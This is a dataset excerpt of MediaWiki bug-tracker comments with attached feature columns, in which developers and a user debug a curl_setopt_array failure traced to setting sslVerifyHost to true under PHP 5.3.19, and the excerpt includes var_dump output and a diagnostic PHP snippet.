bce969 has six digits, ChangeIds require last least eight digits - any chance to clarify in order to identify the commit?",,,1354528181,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-39,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,8.0,0.0,8.0,0.0,0.0,14.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.7777777777777777,0.8611111111111112,"(In reply to comment #12)
QUOTE
QUOTE

bce969 has six digits, ChangeIds require last least eight digits - any chance to clarify in order to identify the commit?"
192904,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"Bingo! I did the 'Change protected $sslVerifyHost = true; to protected $sslVerifyHost = 2; on
the beginning of MWHttpRequest (around line 190)' and everything is back to normal again.",,,1354520618,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,12.0,8.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.9,0.8,"Bingo! I did the 'Change protected $sslVerifyHost = true; to protected $sslVerifyHost = 2; on
the beginning of MWHttpRequest (around line 190)' and everything is back to normal again."
192899,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"It was very long due to the reference to the CurlHttpRequest being expanded.

In summary, it is failing at:
curl_setopt_array( $curlHandle, array(
	CURLOPT_PROXY => NULL,
	CURLOPT_TIMEOUT => 25,
	CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
	CURLOPT_WRITEFUNCTION => CurlHttpRequest::read,
	CURLOPT_HEADERFUNCTION => CurlHttpRequest::readHeader,
	CURLOPT_MAXREDIRS => 5,
	CURLOPT_ENCODING => """",
	CURLOPT_REFERER => ""http://wow.wikibase.nl/index.php/Template:Organization"",
	CURLOPT_USERAGENT => ""MediaWiki/1.20.0"",
	CURLOPT_SSL_VERIFYHOST => true,
	CURLOPT_SSL_VERIFYPEER => true,
	CURLOPT_CUSTOMREQUEST => ""GET"",
	CURLOPT_HTTPHEADER => array( ""Referer: http://wow.wikibase.nl/index.php/Template:Organization"", ""User-Agent: MediaWiki/1.20.0"" )
) );

I don't see anything obviously wrong.

Is it possible that your php does not support SSL and is failing on the CURLOPT_SSL_* options?

There is a small bug in doing sslVerifyHost => true, that was fixed after 1.20 (bce969).

After a bit of testing that seems to return false without a notice on 5.3.x

Change 	protected $sslVerifyHost = true; to protected $sslVerifyHost = 2; on the beginning of MWHttpRequest (around line 190). and see if it fixes.

If it is still failing, can you create a file with these lines and check its output?

<?php
ini_set('display_errors',1);
error_reporting(E_ALL | E_STRICT);
$curlHandle=curl_init();
var_dump( curl_setopt_array( $curlHandle, array(
	CURLOPT_PROXY => NULL,
	CURLOPT_TIMEOUT => 25,
	CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
	CURLOPT_MAXREDIRS => 5,
	CURLOPT_ENCODING => """",
	CURLOPT_REFERER => ""http://wow.wikibase.nl/index.php/Template:Organization"",
	CURLOPT_USERAGENT => ""MediaWiki/1.20.0"",
	CURLOPT_SSL_VERIFYHOST => true,
	CURLOPT_SSL_VERIFYPEER => true,
	CURLOPT_CUSTOMREQUEST => ""GET"",
	CURLOPT_HTTPHEADER => array( ""Referer: http://wow.wikibase.nl/index.php/Template:Organization"", ""User-Agent: MediaWiki/1.20.0"" )
) ) );",,,1354471500,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.25,0.25,0.5,0.5,3.0,0.25,0.0,0.0,0.5,0.5,0.25,0.0,0.0,0.25,0.25,0.5,1.25,5.25,0.25,0.5,0.0,0.0,0.0,0.75,0.0,0.0,0.25,0.25,0.0,0.0,2.5,1.0,1.5,0.0,0.5,0.25,0.0,0.25,0.0,0.0,0.0,0.0,1.25,0.0,0.0,0.0,0.25,0.0,16.25,0.25,0.25,0.25,0.0,0.0,0.0,0.25,0.0,0.25,0.0,0.25,0.75,0.0,0.0,0.0,0.25,0.0,2.0,2.0,15.25,0.75,0.75,2.25,0.0,0.0,0.0,0.0,2.75,0.0,2.0,0.0,2.25,5.25,5.0,0.75,5.25,0.0,2.25,0.0,0.5,1.0,0.0,1.0,0.0,0.25,9.75,4.1778868630201025,0.5736033193080879,"It was very long due to the reference to the CurlHttpRequest being expanded.

In summary, it is failing at:
curl_setopt_array( $curlHandle, array(
	CURLOPT_PROXY => NULL,
	CURLOPT_TIMEOUT => 25,
	CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
	CURLOPT_WRITEFUNCTION => CurlHttpRequest::read,
	CURLOPT_HEADERFUNCTION => CurlHttpRequest::readHeader,
	CURLOPT_MAXREDIRS => 5,
	CURLOPT_ENCODING => """",
	CURLOPT_REFERER => ""URL
	CURLOPT_USERAGENT => ""MediaWiki/1.20.0"",
	CURLOPT_SSL_VERIFYHOST => true,
	CURLOPT_SSL_VERIFYPEER => true,
	CURLOPT_CUSTOMREQUEST => ""GET"",
	CURLOPT_HTTPHEADER => array( ""Referer: URL ""User-Agent: MediaWiki/1.20.0"" )
) );

I don't see anything obviously wrong.

Is it possible that your php does not support SSL and is failing on the CURLOPT_SSL_* options?

There is a small bug in doing sslVerifyHost => true, that was fixed after 1.20 (bce969).

After a bit of testing that seems to return false without a notice on 5.3.x

Change 	protected $sslVerifyHost = true; to protected $sslVerifyHost = 2; on the beginning of MWHttpRequest (around line 190). and see if it fixes.

If it is still failing, can you create a file with these lines and check its output?

<?php
ini_set('display_errors',1);
error_reporting(E_ALL | E_STRICT);
$curlHandle=curl_init();
var_dump( curl_setopt_array( $curlHandle, array(
	CURLOPT_PROXY => NULL,
	CURLOPT_TIMEOUT => 25,
	CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
	CURLOPT_MAXREDIRS => 5,
	CURLOPT_ENCODING => """",
	CURLOPT_REFERER => ""URL
	CURLOPT_USERAGENT => ""MediaWiki/1.20.0"",
	CURLOPT_SSL_VERIFYHOST => true,
	CURLOPT_SSL_VERIFYPEER => true,
	CURLOPT_CUSTOMREQUEST => ""GET"",
	CURLOPT_HTTPHEADER => array( ""Referer: URL ""User-Agent: MediaWiki/1.20.0"" )
) ) );"
192896,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"After a bit of fancy formatting:
array(13) {
	[10004]=> NULL // CURLOPT_PROXY
	[13]=> int(25) // CURLOPT_TIMEOUT
	[84]=> int(1) // CURLOPT_HTTP_VERSION = CURL_HTTP_VERSION_1_0;
	[20011]=> array(2) { // CURLOPT_WRITEFUNCTION = CurlHttpRequest::read
		[0]=> object(CurlHttpRequest)#488 (24) {
			[""curlOptions"":protected]=> *RECURSION*
			[""headerText"":protected]=> string(0) """"
			[""content"":protected]=> string(0) """"
			[""timeout"":protected]=> int(25)
			[""headersOnly"":protected]=> NULL
			[""postData"":protected]=> NULL
			[""proxy"":protected]=> NULL
			[""noProxy"":protected]=> bool(false)
			[""sslVerifyHost"":protected]=> bool(true)
			[""sslVerifyCert"":protected]=> bool(true)
			[""caInfo"":protected]=> NULL
			[""method"":protected]=> string(3) ""GET""
			[""reqHeaders"":protected]=> array(2) {
				[""Referer""]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization""
				[""User-Agent""]=> string(16) ""MediaWiki/1.20.0"" 
			}
			[""url"":protected]=> string(79) ""http://maps.googleapis.com/maps/api/geocode/xml?address=%2C++Breda&sensor=false""
			[""parsedUrl"":protected]=> array(5) {
				[""scheme""]=> string(4) ""http""
				[""host""]=> string(19) ""maps.googleapis.com""
				[""path""]=> string(21) ""/maps/api/geocode/xml""
				[""query""]=> string(31) ""address=%2C++Breda&sensor=false""
				[""delimiter""]=> string(3) ""://"" 
			}
			[""callback"":protected]=> *RECURSION*
			[""maxRedirects"":protected]=> int(5)
			[""followRedirects"":protected]=> bool(false)
			[""cookieJar"":protected]=> NULL
			[""headerList"":protected]=> array(0) { }
			[""respVersion"":protected]=> string(3) ""0.9""
			[""respStatus"":protected]=> string(6) ""200 Ok""
			[""respHeaders"":protected]=> array(0) { }
			[""status""]=> object(Status)#487 (7) {
				[""ok""]=> bool(true)
				[""value""]=> int(100)
				[""successCount""]=> int(0)
				[""failCount""]=> int(0)
				[""success""]=> array(0) { }
				[""errors""]=> array(0) { }
				[""cleanCallback""]=> bool(false)
			}
		}
		[1]=> string(4) ""read"" 
	}
	[20079]=> array(2) { // CURLOPT_HEADERFUNCTION = CurlHttpRequest::readHeader
		[0]=> object(CurlHttpRequest)#488 (24) {
			[""curlOptions"":protected]=> *RECURSION*
			[""headerText"":protected]=> string(0) """"
			[""content"":protected]=> string(0) """"
			[""timeout"":protected]=> int(25)
			[""headersOnly"":protected]=> NULL
			[""postData"":protected]=> NULL
			[""proxy"":protected]=> NULL
			[""noProxy"":protected]=> bool(false)
			[""sslVerifyHost"":protected]=> bool(true)
			[""sslVerifyCert"":protected]=> bool(true)
			[""caInfo"":protected]=> NULL
			[""method"":protected]=> string(3) ""GET""
			[""reqHeaders"":protected]=> array(2) {
				[""Referer""]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization""
				[""User-Agent""]=> string(16) ""MediaWiki/1.20.0""
			}
			[""url"":protected]=> string(79) ""http://maps.googleapis.com/maps/api/geocode/xml?address=%2C++Breda&sensor=false""
			[""parsedUrl"":protected]=> array(5) {
				[""scheme""]=> string(4) ""http""
				[""host""]=> string(19) ""maps.googleapis.com""
				[""path""]=> string(21) ""/maps/api/geocode/xml""
				[""query""]=> string(31) ""address=%2C++Breda&sensor=false""
				[""delimiter""]=> string(3) ""://"" 
			}
			[""callback"":protected]=> array(2) {
				[0]=> *RECURSION*
				[1]=> string(4) ""read""
			}
			[""maxRedirects"":protected]=> int(5)
			[""followRedirects"":protected]=> bool(false)
			[""cookieJar"":protected]=> NULL
			[""headerList"":protected]=> array(0) { }
			[""respVersion"":protected]=> string(3) ""0.9""
			[""respStatus"":protected]=> string(6) ""200 Ok""
			[""respHeaders"":protected]=> array(0) { }
				[""status""]=> object(Status)#487 (7) {
					[""ok""]=> bool(true)
					[""value""]=> int(100)
					[""successCount""]=> int(0)
					[""failCount""]=> int(0)
					[""success""]=> array(0) { }
					[""errors""]=> array(0) { }
					[""cleanCallback""]=> bool(false)
				}
			}
		[1]=> string(10) ""readHeader"" 
	}
	[68]=> int(5) // CURLOPT_MAXREDIRS = 5
	[10102]=> string(0) """" // CURLOPT_ENCODING
	[10016]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization"" // CURLOPT_REFERER
	[10018]=> string(16) ""MediaWiki/1.20.0"" // CURLOPT_USERAGENT
	[81]=> bool(true) // CURLOPT_SSL_VERIFYHOST = true
	[64]=> bool(true) // CURLOPT_SSL_VERIFYPEER = true
	[10036]=> string(3) ""GET"" // CURLOPT_CUSTOMREQUEST = ""GET""
	[10023]=> array(2) { // CURLOPT_HTTPHEADER
		[0]=> string(63) ""Referer: http://wow.wikibase.nl/index.php/Template:Organization""
		[1]=> string(28) ""User-Agent: MediaWiki/1.20.0""
	}
}",,,1354470131,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.7777777777777778,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2222222222222222,0.0,0.4444444444444444,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4444444444444444,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,6.333333333333333,0.0,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.4444444444444444,0.1111111111111111,3.2222222222222223,0.0,0.0,0.4444444444444444,16.333333333333332,0.0,15.777777777777779,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,24.11111111111111,4.277216610549944,0.3950617283950617,"After a bit of fancy formatting:
array(13) {
	[10004]=> NULL // CURLOPT_PROXY
	[13]=> int(25) // CURLOPT_TIMEOUT
	[84]=> int(1) // CURLOPT_HTTP_VERSION = CURL_HTTP_VERSION_1_0;
	[20011]=> array(2) { // CURLOPT_WRITEFUNCTION = CurlHttpRequest::read
		[0]=> object(CurlHttpRequest)#488 (24) {
			[""curlOptions"":protected]=> *RECURSION*
			[""headerText"":protected]=> string(0) """"
			[""content"":protected]=> string(0) """"
			[""timeout"":protected]=> int(25)
			[""headersOnly"":protected]=> NULL
			[""postData"":protected]=> NULL
			[""proxy"":protected]=> NULL
			[""noProxy"":protected]=> bool(false)
			[""sslVerifyHost"":protected]=> bool(true)
			[""sslVerifyCert"":protected]=> bool(true)
			[""caInfo"":protected]=> NULL
			[""method"":protected]=> string(3) ""GET""
			[""reqHeaders"":protected]=> array(2) {
				[""Referer""]=> string(54) ""URL
				[""User-Agent""]=> string(16) ""MediaWiki/1.20.0"" 
			}
			[""url"":protected]=> string(79) ""URL
			[""parsedUrl"":protected]=> array(5) {
				[""scheme""]=> string(4) ""http""
				[""host""]=> string(19) ""maps.googleapis.com""
				[""path""]=> string(21) ""/maps/api/geocode/xml""
				[""query""]=> string(31) ""address=%2C++Breda&sensor=false""
				[""delimiter""]=> string(3) ""://"" 
			}
			[""callback"":protected]=> *RECURSION*
			[""maxRedirects"":protected]=> int(5)
			[""followRedirects"":protected]=> bool(false)
			[""cookieJar"":protected]=> NULL
			[""headerList"":protected]=> array(0) { }
			[""respVersion"":protected]=> string(3) ""0.9""
			[""respStatus"":protected]=> string(6) ""200 Ok""
			[""respHeaders"":protected]=> array(0) { }
			[""status""]=> object(Status)#487 (7) {
				[""ok""]=> bool(true)
				[""value""]=> int(100)
				[""successCount""]=> int(0)
				[""failCount""]=> int(0)
				[""success""]=> array(0) { }
				[""errors""]=> array(0) { }
				[""cleanCallback""]=> bool(false)
			}
		}
		[1]=> string(4) ""read"" 
	}
	[20079]=> array(2) { // CURLOPT_HEADERFUNCTION = CurlHttpRequest::readHeader
		[0]=> object(CurlHttpRequest)#488 (24) {
			[""curlOptions"":protected]=> *RECURSION*
			[""headerText"":protected]=> string(0) """"
			[""content"":protected]=> string(0) """"
			[""timeout"":protected]=> int(25)
			[""headersOnly"":protected]=> NULL
			[""postData"":protected]=> NULL
			[""proxy"":protected]=> NULL
			[""noProxy"":protected]=> bool(false)
			[""sslVerifyHost"":protected]=> bool(true)
			[""sslVerifyCert"":protected]=> bool(true)
			[""caInfo"":protected]=> NULL
			[""method"":protected]=> string(3) ""GET""
			[""reqHeaders"":protected]=> array(2) {
				[""Referer""]=> string(54) ""URL
				[""User-Agent""]=> string(16) ""MediaWiki/1.20.0""
			}
			[""url"":protected]=> string(79) ""URL
			[""parsedUrl"":protected]=> array(5) {
				[""scheme""]=> string(4) ""http""
				[""host""]=> string(19) ""maps.googleapis.com""
				[""path""]=> string(21) ""/maps/api/geocode/xml""
				[""query""]=> string(31) ""address=%2C++Breda&sensor=false""
				[""delimiter""]=> string(3) ""://"" 
			}
			[""callback"":protected]=> array(2) {
				[0]=> *RECURSION*
				[1]=> string(4) ""read""
			}
			[""maxRedirects"":protected]=> int(5)
			[""followRedirects"":protected]=> bool(false)
			[""cookieJar"":protected]=> NULL
			[""headerList"":protected]=> array(0) { }
			[""respVersion"":protected]=> string(3) ""0.9""
			[""respStatus"":protected]=> string(6) ""200 Ok""
			[""respHeaders"":protected]=> array(0) { }
				[""status""]=> object(Status)#487 (7) {
					[""ok""]=> bool(true)
					[""value""]=> int(100)
					[""successCount""]=> int(0)
					[""failCount""]=> int(0)
					[""success""]=> array(0) { }
					[""errors""]=> array(0) { }
					[""cleanCallback""]=> bool(false)
				}
			}
		[1]=> string(10) ""readHeader"" 
	}
	[68]=> int(5) // CURLOPT_MAXREDIRS = 5
	[10102]=> string(0) """" // CURLOPT_ENCODING
	[10016]=> string(54) ""URL // CURLOPT_REFERER
	[10018]=> string(16) ""MediaWiki/1.20.0"" // CURLOPT_USERAGENT
	[81]=> bool(true) // CURLOPT_SSL_VERIFYHOST = true
	[64]=> bool(true) // CURLOPT_SSL_VERIFYPEER = true
	[10036]=> string(3) ""GET"" // CURLOPT_CUSTOMREQUEST = ""GET""
	[10023]=> array(2) { // CURLOPT_HTTPHEADER
		[0]=> string(63) ""Referer: URL
		[1]=> string(28) ""User-Agent: MediaWiki/1.20.0""
	}
}"
192893,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"I did as you suggested. The dump looks impressive to me!


array(13) { [10004]=> NULL [13]=> int(25) [84]=> int(1) [20011]=> array(2) { [0]=> object(CurlHttpRequest)#488 (24) { [""curlOptions"":protected]=> *RECURSION* [""headerText"":protected]=> string(0) """" [""content"":protected]=> string(0) """" [""timeout"":protected]=> int(25) [""headersOnly"":protected]=> NULL [""postData"":protected]=> NULL [""proxy"":protected]=> NULL [""noProxy"":protected]=> bool(false) [""sslVerifyHost"":protected]=> bool(true) [""sslVerifyCert"":protected]=> bool(true) [""caInfo"":protected]=> NULL [""method"":protected]=> string(3) ""GET"" [""reqHeaders"":protected]=> array(2) { [""Referer""]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization"" [""User-Agent""]=> string(16) ""MediaWiki/1.20.0"" } [""url"":protected]=> string(79) ""http://maps.googleapis.com/maps/api/geocode/xml?address=%2C++Breda&sensor=false"" [""parsedUrl"":protected]=> array(5) { [""scheme""]=> string(4) ""http"" [""host""]=> string(19) ""maps.googleapis.com"" [""path""]=> string(21) ""/maps/api/geocode/xml"" [""query""]=> string(31) ""address=%2C++Breda&sensor=false"" [""delimiter""]=> string(3) ""://"" } [""callback"":protected]=> *RECURSION* [""maxRedirects"":protected]=> int(5) [""followRedirects"":protected]=> bool(false) [""cookieJar"":protected]=> NULL [""headerList"":protected]=> array(0) { } [""respVersion"":protected]=> string(3) ""0.9"" [""respStatus"":protected]=> string(6) ""200 Ok"" [""respHeaders"":protected]=> array(0) { } [""status""]=> object(Status)#487 (7) { [""ok""]=> bool(true) [""value""]=> int(100) [""successCount""]=> int(0) [""failCount""]=> int(0) [""success""]=> array(0) { } [""errors""]=> array(0) { } [""cleanCallback""]=> bool(false) } } [1]=> string(4) ""read"" } [20079]=> array(2) { [0]=> object(CurlHttpRequest)#488 (24) { [""curlOptions"":protected]=> *RECURSION* [""headerText"":protected]=> string(0) """" [""content"":protected]=> string(0) """" [""timeout"":protected]=> int(25) [""headersOnly"":protected]=> NULL [""postData"":protected]=> NULL [""proxy"":protected]=> NULL [""noProxy"":protected]=> bool(false) [""sslVerifyHost"":protected]=> bool(true) [""sslVerifyCert"":protected]=> bool(true) [""caInfo"":protected]=> NULL [""method"":protected]=> string(3) ""GET"" [""reqHeaders"":protected]=> array(2) { [""Referer""]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization"" [""User-Agent""]=> string(16) ""MediaWiki/1.20.0"" } [""url"":protected]=> string(79) ""http://maps.googleapis.com/maps/api/geocode/xml?address=%2C++Breda&sensor=false"" [""parsedUrl"":protected]=> array(5) { [""scheme""]=> string(4) ""http"" [""host""]=> string(19) ""maps.googleapis.com"" [""path""]=> string(21) ""/maps/api/geocode/xml"" [""query""]=> string(31) ""address=%2C++Breda&sensor=false"" [""delimiter""]=> string(3) ""://"" } [""callback"":protected]=> array(2) { [0]=> *RECURSION* [1]=> string(4) ""read"" } [""maxRedirects"":protected]=> int(5) [""followRedirects"":protected]=> bool(false) [""cookieJar"":protected]=> NULL [""headerList"":protected]=> array(0) { } [""respVersion"":protected]=> string(3) ""0.9"" [""respStatus"":protected]=> string(6) ""200 Ok"" [""respHeaders"":protected]=> array(0) { } [""status""]=> object(Status)#487 (7) { [""ok""]=> bool(true) [""value""]=> int(100) [""successCount""]=> int(0) [""failCount""]=> int(0) [""success""]=> array(0) { } [""errors""]=> array(0) { } [""cleanCallback""]=> bool(false) } } [1]=> string(10) ""readHeader"" } [68]=> int(5) [10102]=> string(0) """" [10016]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization"" [10018]=> string(16) ""MediaWiki/1.20.0"" [81]=> bool(true) [64]=> bool(true) [10036]=> string(3) ""GET"" [10023]=> array(2) { [0]=> string(63) ""Referer: http://wow.wikibase.nl/index.php/Template:Organization"" [1]=> string(28) ""User-Agent: MediaWiki/1.20.0"" } }",,,1354300820,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.625,0.0,0.0,0.0,0.0,0.125,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.625,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.375,0.0,0.0,0.125,0.125,0.0,0.0,0.0,0.125,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.375,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.125,0.0,0.0,0.0,0.0,0.0,0.0,0.125,0.0,5.25,0.0,0.0,0.125,0.0,0.0,0.125,0.0,0.0,0.0,2.875,0.0,0.375,0.625,17.25,0.0,17.625,0.0,0.375,0.0,0.0,0.0,0.125,0.0,0.0,0.0,27.0,4.084677419354838,0.40053763440860213,"I did as you suggested. The dump looks impressive to me!


array(13) { [10004]=> NULL [13]=> int(25) [84]=> int(1) [20011]=> array(2) { [0]=> object(CurlHttpRequest)#488 (24) { [""curlOptions"":protected]=> *RECURSION* [""headerText"":protected]=> string(0) """" [""content"":protected]=> string(0) """" [""timeout"":protected]=> int(25) [""headersOnly"":protected]=> NULL [""postData"":protected]=> NULL [""proxy"":protected]=> NULL [""noProxy"":protected]=> bool(false) [""sslVerifyHost"":protected]=> bool(true) [""sslVerifyCert"":protected]=> bool(true) [""caInfo"":protected]=> NULL [""method"":protected]=> string(3) ""GET"" [""reqHeaders"":protected]=> array(2) { [""Referer""]=> string(54) ""URL [""User-Agent""]=> string(16) ""MediaWiki/1.20.0"" } [""url"":protected]=> string(79) ""URL [""parsedUrl"":protected]=> array(5) { [""scheme""]=> string(4) ""http"" [""host""]=> string(19) ""maps.googleapis.com"" [""path""]=> string(21) ""/maps/api/geocode/xml"" [""query""]=> string(31) ""address=%2C++Breda&sensor=false"" [""delimiter""]=> string(3) ""://"" } [""callback"":protected]=> *RECURSION* [""maxRedirects"":protected]=> int(5) [""followRedirects"":protected]=> bool(false) [""cookieJar"":protected]=> NULL [""headerList"":protected]=> array(0) { } [""respVersion"":protected]=> string(3) ""0.9"" [""respStatus"":protected]=> string(6) ""200 Ok"" [""respHeaders"":protected]=> array(0) { } [""status""]=> object(Status)#487 (7) { [""ok""]=> bool(true) [""value""]=> int(100) [""successCount""]=> int(0) [""failCount""]=> int(0) [""success""]=> array(0) { } [""errors""]=> array(0) { } [""cleanCallback""]=> bool(false) } } [1]=> string(4) ""read"" } [20079]=> array(2) { [0]=> object(CurlHttpRequest)#488 (24) { [""curlOptions"":protected]=> *RECURSION* [""headerText"":protected]=> string(0) """" [""content"":protected]=> string(0) """" [""timeout"":protected]=> int(25) [""headersOnly"":protected]=> NULL [""postData"":protected]=> NULL [""proxy"":protected]=> NULL [""noProxy"":protected]=> bool(false) [""sslVerifyHost"":protected]=> bool(true) [""sslVerifyCert"":protected]=> bool(true) [""caInfo"":protected]=> NULL [""method"":protected]=> string(3) ""GET"" [""reqHeaders"":protected]=> array(2) { [""Referer""]=> string(54) ""URL [""User-Agent""]=> string(16) ""MediaWiki/1.20.0"" } [""url"":protected]=> string(79) ""URL [""parsedUrl"":protected]=> array(5) { [""scheme""]=> string(4) ""http"" [""host""]=> string(19) ""maps.googleapis.com"" [""path""]=> string(21) ""/maps/api/geocode/xml"" [""query""]=> string(31) ""address=%2C++Breda&sensor=false"" [""delimiter""]=> string(3) ""://"" } [""callback"":protected]=> array(2) { [0]=> *RECURSION* [1]=> string(4) ""read"" } [""maxRedirects"":protected]=> int(5) [""followRedirects"":protected]=> bool(false) [""cookieJar"":protected]=> NULL [""headerList"":protected]=> array(0) { } [""respVersion"":protected]=> string(3) ""0.9"" [""respStatus"":protected]=> string(6) ""200 Ok"" [""respHeaders"":protected]=> array(0) { } [""status""]=> object(Status)#487 (7) { [""ok""]=> bool(true) [""value""]=> int(100) [""successCount""]=> int(0) [""failCount""]=> int(0) [""success""]=> array(0) { } [""errors""]=> array(0) { } [""cleanCallback""]=> bool(false) } } [1]=> string(10) ""readHeader"" } [68]=> int(5) [10102]=> string(0) """" [10016]=> string(54) ""URL [10018]=> string(16) ""MediaWiki/1.20.0"" [81]=> bool(true) [64]=> bool(true) [10036]=> string(3) ""GET"" [10023]=> array(2) { [0]=> string(63) ""Referer: URL [1]=> string(28) ""User-Agent: MediaWiki/1.20.0"" } }"
192890,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"It should have appeared in the php error log :S

Can you add var_dump( $this->curlOptions ); above this line?
	if ( !curl_setopt_array( $curlHandle, $this->curlOptions ) ) {

around line 761 of HttpFunctions.php.
This shouls at least give us which options it is trying to set.",,,1354227174,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,3.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,2.0,0.0,7.0,0.0,0.0,2.0,0.0,7.0,0.0,5.0,0.0,7.0,11.0,3.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,2.0,3.8688524590163933,0.8360655737704918,"It should have appeared in the php error log :S

Can you add var_dump( $this->curlOptions ); above this line?
	if ( !curl_setopt_array( $curlHandle, $this->curlOptions ) ) {

around line 761 of HttpFunctions.php.
This shouls at least give us which options it is trying to set."
192887,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"Hi, I have upgraded to:
MW 1.20, SMW 1.8 rc1, SRF 1.8rc2, Semantic Maps 2.0

and the problem still remains. 

From the php options above it seems clear that cURL is supported. What can I do to help researching on this problem?",,,1354186625,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,19.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,0.0,6.0,11.0,11.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5283018867924527,0.8301886792452831,"Hi, I have upgraded to:
MW 1.20, SMW 1.8 rc1, SRF 1.8rc2, Semantic Maps 2.0

and the problem still remains. 

From the php options above it seems clear that cURL is supported. What can I do to help researching on this problem?"
192883,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"I'm sorry but I don't see anything about this error in the error console. Did find the cURL:

cURL support	enabled
cURL Information	7.28.1
Age	3
Features
AsynchDNS	No
Debug	No
GSS-Negotiate	No
IDN	No
IPv6	Yes
Largefile	Yes
NTLM	Yes
